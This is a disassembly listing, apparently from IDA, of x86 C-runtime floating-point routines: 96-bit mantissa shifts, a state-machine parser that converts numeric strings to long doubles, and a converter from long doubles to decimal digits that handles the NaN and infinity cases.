		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_425380	endp


; =============== S U B	R O U T	I N E =======================================



sub_4253AE	proc near		; CODE XREF: sub_425973+1C8p
					; sub_425DEE+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_4253AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4253DB	proc near		; CODE XREF: sub_4254A2+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_42544F
		push	edi
		mov	[ebp+arg_8], eax


loc_425402:				; CODE XREF: sub_4253DB+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_425380
		push	ebx
		call	sub_425380
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425322
		push	ebx
		call	sub_425380
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425322
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_425402
		xor	edx, edx
		pop	edi


loc_42544F:				; CODE XREF: sub_4253DB+21j
					; sub_4253DB+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_42547C
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_42544F
; ---------------------------------------------------------------------------


loc_42547C:				; CODE XREF: sub_4253DB+77j
		mov	esi, 8000h


loc_425481:				; CODE XREF: sub_4253DB+B9j
		test	[ebx+8], esi
		jnz	short loc_425496
		push	ebx
		call	sub_425380
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_425481
; ---------------------------------------------------------------------------


loc_425496:				; CODE XREF: sub_4253DB+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_4253DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4254A2	proc near		; CODE XREF: sub_424D28+17p
					; sub_424D55+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi


loc_4254DD:				; CODE XREF: sub_4254A2+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_4254F3
		cmp	cl, 9
		jz	short loc_4254F3
		cmp	cl, 0Ah
		jz	short loc_4254F3
		cmp	cl, 0Dh
		jnz	short loc_4254F6


loc_4254F3:				; CODE XREF: sub_4254A2+40j
					; sub_4254A2+45j ...
		inc	edi
		jmp	short loc_4254DD
; ---------------------------------------------------------------------------


loc_4254F6:				; CODE XREF: sub_4254A2+4Fj
		push	4
		pop	esi


loc_4254F9:				; CODE XREF: sub_4254A2+AEj
					; sub_4254A2+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_42577C	; default
					; jumptable 00425505 case 10
		jmp	off_425943[eax*4] ; switch jump


loc_42550C:				; DATA XREF: ___:off_425943o
		cmp	bl, 31h		; jumptable 00425505 case 0
		jl	short loc_42551D
		cmp	bl, 39h
		jg	short loc_42551D


loc_425516:				; CODE XREF: sub_4254A2+C4j
					; sub_4254A2+118j
		push	3
		jmp	loc_42573A
; ---------------------------------------------------------------------------


loc_42551D:				; CODE XREF: sub_4254A2+6Dj
					; sub_4254A2+72j
		cmp	bl, byte_43D098
		jnz	short loc_42552C


loc_425525:				; CODE XREF: sub_4254A2+124j
		push	5
		jmp	loc_425772
; ---------------------------------------------------------------------------


loc_42552C:				; CODE XREF: sub_4254A2+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_425552
		dec	eax
		dec	eax
		jz	short loc_425546
		sub	eax, 3
		jnz	loc_425815
		jmp	loc_4255D5
; ---------------------------------------------------------------------------


loc_425546:				; CODE XREF: sub_4254A2+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_4254F9
; ---------------------------------------------------------------------------


loc_425552:				; CODE XREF: sub_4254A2+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_4254F9
; ---------------------------------------------------------------------------


loc_42555B:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		cmp	bl, 31h		; jumptable 00425505 case 1
		mov	[ebp+var_10], edx
		jl	short loc_425568
		cmp	bl, 39h
		jle	short loc_425516


loc_425568:				; CODE XREF: sub_4254A2+BFj
		cmp	bl, byte_43D098
		jz	loc_425630
		cmp	bl, 2Bh
		jz	short loc_4255AA
		cmp	bl, 2Dh
		jz	short loc_4255AA
		cmp	bl, 30h
		jz	short loc_4255D5


loc_425583:				; CODE XREF: sub_4254A2+207j
		cmp	bl, 43h
		jle	loc_425815
		cmp	bl, 45h
		jle	short loc_4255A3
		cmp	bl, 63h
		jle	loc_425815
		cmp	bl, 65h
		jg	loc_425815


loc_4255A3:				; CODE XREF: sub_4254A2+EDj
		push	6
		jmp	loc_425772
; ---------------------------------------------------------------------------


loc_4255AA:				; CODE XREF: sub_4254A2+D5j
					; sub_4254A2+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_425772
; ---------------------------------------------------------------------------


loc_4255B2:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		cmp	bl, 31h		; jumptable 00425505 case 2
		jl	short loc_4255C0
		cmp	bl, 39h
		jle	loc_425516


loc_4255C0:				; CODE XREF: sub_4254A2+113j
		cmp	bl, byte_43D098
		jz	loc_425525
		cmp	bl, 30h
		jnz	loc_42578A


loc_4255D5:				; CODE XREF: sub_4254A2+9Fj
					; sub_4254A2+DFj
		mov	eax, edx
		jmp	loc_4254F9
; ---------------------------------------------------------------------------


loc_4255DC:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		mov	[ebp+var_10], edx ; jumptable 00425505 case 3


loc_4255DF:				; CODE XREF: sub_4254A2+184j
		cmp	dword_43D094, edx
		jle	short loc_4255F8
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425606
; ---------------------------------------------------------------------------


loc_4255F8:				; CODE XREF: sub_4254A2+143j
		mov	ecx, off_43CE88
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_425606:				; CODE XREF: sub_4254A2+154j
		test	eax, eax
		jz	short loc_425628
		cmp	[ebp+var_4], 19h
		jnb	short loc_425620
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_425623
; ---------------------------------------------------------------------------


loc_425620:				; CODE XREF: sub_4254A2+16Cj
		inc	[ebp+var_8]


loc_425623:				; CODE XREF: sub_4254A2+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4255DF
; ---------------------------------------------------------------------------


loc_425628:				; CODE XREF: sub_4254A2+166j
		cmp	bl, byte_43D098
		jnz	short loc_425697


loc_425630:				; CODE XREF: sub_4254A2+CCj
		mov	eax, esi
		jmp	loc_4254F9
; ---------------------------------------------------------------------------


loc_425637:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		cmp	[ebp+var_4], 0	; jumptable 00425505 case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_425650


loc_425643:				; CODE XREF: sub_4254A2+1ACj
		cmp	bl, 30h
		jnz	short loc_425650
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425643
; ---------------------------------------------------------------------------


loc_425650:				; CODE XREF: sub_4254A2+19Fj
					; sub_4254A2+1A4j ...
		cmp	dword_43D094, edx
		jle	short loc_425669
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425677
; ---------------------------------------------------------------------------


loc_425669:				; CODE XREF: sub_4254A2+1B4j
		mov	ecx, off_43CE88
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_425677:				; CODE XREF: sub_4254A2+1C5j
		test	eax, eax
		jz	short loc_425697
		cmp	[ebp+var_4], 19h
		jnb	short loc_425692
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl


loc_425692:				; CODE XREF: sub_4254A2+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425650
; ---------------------------------------------------------------------------


loc_425697:				; CODE XREF: sub_4254A2+18Cj
					; sub_4254A2+1D7j
		cmp	bl, 2Bh
		jz	loc_4255AA
		cmp	bl, 2Dh
		jz	loc_4255AA
		jmp	loc_425583
; ---------------------------------------------------------------------------


loc_4256AE:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		cmp	dword_43D094, edx ; jumptable 00425505 case 5
		mov	[ebp+var_24], edx
		jle	short loc_4256CA
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_4256D8
; ---------------------------------------------------------------------------


loc_4256CA:				; CODE XREF: sub_4254A2+215j
		mov	ecx, off_43CE88
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_4256D8:				; CODE XREF: sub_4254A2+226j
		test	eax, eax
		jz	loc_42578A
		mov	eax, esi
		jmp	short loc_42573B
; ---------------------------------------------------------------------------


loc_4256E4:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		lea	ecx, [edi-2]	; jumptable 00425505 case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_4256F4
		cmp	bl, 39h
		jle	short loc_425738


loc_4256F4:				; CODE XREF: sub_4254A2+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_425770
		dec	eax
		dec	eax
		jz	short loc_425764
		sub	eax, 3
		jnz	loc_425818


loc_425709:				; CODE XREF: sub_4254A2+2A4j
		push	8
		jmp	short loc_425772
; ---------------------------------------------------------------------------


loc_42570D:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		mov	[ebp+var_20], edx ; jumptable 00425505 case 8


loc_425710:				; CODE XREF: sub_4254A2+276j
		cmp	bl, 30h
		jnz	short loc_42571A
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425710
; ---------------------------------------------------------------------------


loc_42571A:				; CODE XREF: sub_4254A2+271j
		cmp	bl, 31h
		jl	loc_425815
		cmp	bl, 39h
		jg	loc_425815
		jmp	short loc_425738
; ---------------------------------------------------------------------------


loc_42572E:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		cmp	bl, 31h		; jumptable 00425505 case 7
		jl	short loc_425741
		cmp	bl, 39h
		jg	short loc_425741


loc_425738:				; CODE XREF: sub_4254A2+250j
					; sub_4254A2+28Aj
		push	9


loc_42573A:				; CODE XREF: sub_4254A2+76j
		pop	eax


loc_42573B:				; CODE XREF: sub_4254A2+240j
		dec	edi
		jmp	loc_4254F9
; ---------------------------------------------------------------------------


loc_425741:				; CODE XREF: sub_4254A2+28Fj
					; sub_4254A2+294j
		cmp	bl, 30h
		jnz	short loc_42578A
		jmp	short loc_425709
; ---------------------------------------------------------------------------


loc_425748:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		cmp	[ebp+arg_18], 0	; jumptable 00425505 case 11
		jz	short loc_425778
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_425770
		dec	eax
		dec	eax
		jnz	loc_425818


loc_425764:				; CODE XREF: sub_4254A2+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_4254F9
; ---------------------------------------------------------------------------


loc_425770:				; CODE XREF: sub_4254A2+258j
					; sub_4254A2+2B8j
		push	7


loc_425772:				; CODE XREF: sub_4254A2+85j
					; sub_4254A2+103j ...
		pop	eax
		jmp	loc_4254F9
; ---------------------------------------------------------------------------


loc_425778:				; CODE XREF: sub_4254A2+2AAj
		push	0Ah
		dec	edi
		pop	eax


loc_42577C:				; CODE XREF: sub_4254A2+5Dj
					; sub_4254A2+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 00425505 case 10
		jz	loc_42581A
		jmp	loc_4254F9
; ---------------------------------------------------------------------------


loc_42578A:				; CODE XREF: sub_4254A2+12Dj
					; sub_4254A2+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_42581A
; ---------------------------------------------------------------------------


loc_425792:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		mov	[ebp+var_20], 1	; jumptable 00425505 case 9
		xor	esi, esi


loc_42579B:				; CODE XREF: sub_4254A2+339j
		cmp	dword_43D094, 1
		jle	short loc_4257B3
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_4257C2
; ---------------------------------------------------------------------------


loc_4257B3:				; CODE XREF: sub_4254A2+300j
		mov	ecx, off_43CE88
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_4257C2:				; CODE XREF: sub_4254A2+30Fj
		test	eax, eax
		jz	short loc_4257E2
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_4257DD
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42579B
; ---------------------------------------------------------------------------


loc_4257DD:				; CODE XREF: sub_4254A2+334j
		mov	esi, 1451h


loc_4257E2:				; CODE XREF: sub_4254A2+322j
		mov	[ebp+var_1C], esi


loc_4257E5:				; CODE XREF: sub_4254A2+371j
		cmp	dword_43D094, 1
		jle	short loc_4257FD
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_42580C
; ---------------------------------------------------------------------------


loc_4257FD:				; CODE XREF: sub_4254A2+34Aj
		mov	ecx, off_43CE88
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_42580C:				; CODE XREF: sub_4254A2+359j
		test	eax, eax
		jz	short loc_425815
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4257E5
; ---------------------------------------------------------------------------


loc_425815:				; CODE XREF: sub_4254A2+99j
					; sub_4254A2+E4j ...
		dec	edi
		jmp	short loc_42581A
; ---------------------------------------------------------------------------


loc_425818:				; CODE XREF: sub_4254A2+261j
					; sub_4254A2+2BCj
		mov	edi, ecx


loc_42581A:				; CODE XREF: sub_4254A2+2DDj
					; sub_4254A2+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_425902
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_425846
		cmp	[ebp+var_45], 5
		jl	short loc_42583A
		inc	[ebp+var_45]


loc_42583A:				; CODE XREF: sub_4254A2+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_425849
; ---------------------------------------------------------------------------


loc_425846:				; CODE XREF: sub_4254A2+38Dj
		mov	eax, [ebp+var_C]


loc_425849:				; CODE XREF: sub_4254A2+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_4258F8


loc_425853:				; CODE XREF: sub_4254A2+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_425861
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_425853
; ---------------------------------------------------------------------------


loc_425861:				; CODE XREF: sub_4254A2+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_4253DB
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_425880
		neg	eax


loc_425880:				; CODE XREF: sub_4254A2+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_42588B
		add	eax, [ebp+arg_10]


loc_42588B:				; CODE XREF: sub_4254A2+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_425893
		sub	eax, [ebp+arg_14]


loc_425893:				; CODE XREF: sub_4254A2+3ECj
		cmp	eax, 1450h
		jle	short loc_4258CA
		mov	[ebp+var_2C], 1


loc_4258A1:				; CODE XREF: sub_4254A2+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]


loc_4258AD:				; CODE XREF: sub_4254A2+454j
					; sub_4254A2+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_425913
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_425928
; ---------------------------------------------------------------------------


loc_4258CA:				; CODE XREF: sub_4254A2+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_4258DA
		mov	[ebp+var_30], 1
		jmp	short loc_4258A1
; ---------------------------------------------------------------------------


loc_4258DA:				; CODE XREF: sub_4254A2+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_42600E
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_4258AD
; ---------------------------------------------------------------------------


loc_4258F8:				; CODE XREF: sub_4254A2+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_4258AD
; ---------------------------------------------------------------------------


loc_425902:				; CODE XREF: sub_4254A2+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_425928
; ---------------------------------------------------------------------------


loc_425913:				; CODE XREF: sub_4254A2+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_425928
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1


loc_425928:				; CODE XREF: sub_4254A2+426j
					; sub_4254A2+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_4254A2	endp

; ---------------------------------------------------------------------------
off_425943	dd offset loc_42550C	; DATA XREF: sub_4254A2+63r
		dd offset loc_42555B	; jump table for switch	statement
		dd offset loc_4255B2
		dd offset loc_4255DC
		dd offset loc_425637
		dd offset loc_4256AE
		dd offset loc_4256E4
		dd offset loc_42572E
		dd offset loc_42570D
		dd offset loc_425792
		dd offset loc_42577C
		dd offset loc_425748

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425973	proc near		; CODE XREF: sub_424DF9+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_4259D5
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_4259D9
; ---------------------------------------------------------------------------


loc_4259D5:				; CODE XREF: sub_425973+5Aj
		mov	byte ptr [ebx+2], 20h


loc_4259D9:				; CODE XREF: sub_425973+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_4259FF
		test	edi, edi
		jnz	short loc_4259FF
		cmp	[ebp+arg_0], edi
		jnz	short loc_4259FF


loc_4259EA:				; CODE XREF: sub_425973+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_425BFD
; ---------------------------------------------------------------------------


loc_4259FF:				; CODE XREF: sub_425973+6Cj
					; sub_425973+70j ...
		cmp	dx, si
		jnz	short loc_425A7E
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_425A18
		cmp	[ebp+arg_0], 0
		jz	short loc_425A27


loc_425A18:				; CODE XREF: sub_425973+9Dj
		test	edi, 40000000h
		jnz	short loc_425A27
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_425A6D
; ---------------------------------------------------------------------------


loc_425A27:				; CODE XREF: sub_425973+A3j
					; sub_425973+ABj
		test	cx, cx
		jz	short loc_425A41
		cmp	edi, 0C0000000h
		jnz	short loc_425A41
		cmp	[ebp+arg_0], 0
		jnz	short loc_425A68
		push	offset a1Ind	; "1#IND"
		jmp	short loc_425A50
; ---------------------------------------------------------------------------


loc_425A41:				; CODE XREF: sub_425973+B7j
					; sub_425973+BFj
		cmp	edi, eax
		jnz	short loc_425A68
		cmp	[ebp+arg_0], 0
		jnz	short loc_425A68
		push	offset a1Inf	; "1#INF"


loc_425A50:				; CODE XREF: sub_425973+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_41C890
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx


loc_425A5F:				; CODE XREF: sub_425973+109j
		and	[ebp+var_4], 0
		jmp	loc_425BD6
; ---------------------------------------------------------------------------


loc_425A68:				; CODE XREF: sub_425973+C5j
					; sub_425973+D0j ...
		push	offset a1Qnan	; "1#QNAN"


loc_425A6D:				; CODE XREF: sub_425973+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_41C890
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_425A5F
; ---------------------------------------------------------------------------


loc_425A7E:				; CODE XREF: sub_425973+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_42600E
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_425ADF
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425DEE
		pop	ecx
		pop	ecx


loc_425ADF:				; CODE XREF: sub_425973+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_425AF9
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_425AFC
		jmp	loc_4259EA
; ---------------------------------------------------------------------------


loc_425AF9:				; CODE XREF: sub_425973+173j
		mov	edi, [ebp+arg_C]


loc_425AFC:				; CODE XREF: sub_425973+17Fj
		cmp	edi, 15h
		jle	short loc_425B04
		push	15h
		pop	edi


loc_425B04:				; CODE XREF: sub_425973+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8


loc_425B1A:				; CODE XREF: sub_425973+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425380
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_425B1A
		test	esi, esi
		jge	short loc_425B44
		neg	esi
		and	esi, 0FFh
		jle	short loc_425B44


loc_425B37:				; CODE XREF: sub_425973+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4253AE
		dec	esi
		pop	ecx
		jnz	short loc_425B37


loc_425B44:				; CODE XREF: sub_425973+1B8j
					; sub_425973+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_425BA1
		mov	[ebp+arg_C], ecx


loc_425B54:				; CODE XREF: sub_425973+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_425380
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425380
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425322
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425380
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_425B54
		mov	eax, [ebp+arg_14]


loc_425BA1:				; CODE XREF: sub_425973+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_425BDE


loc_425BAE:				; CODE XREF: sub_425973+248j
		cmp	eax, ecx
		jb	short loc_425BC1
		cmp	byte ptr [eax],	39h
		jnz	short loc_425BBD
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_425BAE
; ---------------------------------------------------------------------------


loc_425BBD:				; CODE XREF: sub_425973+242j
		cmp	eax, ecx
		jnb	short loc_425BC5


loc_425BC1:				; CODE XREF: sub_425973+23Dj
		inc	eax
		inc	word ptr [ebx]


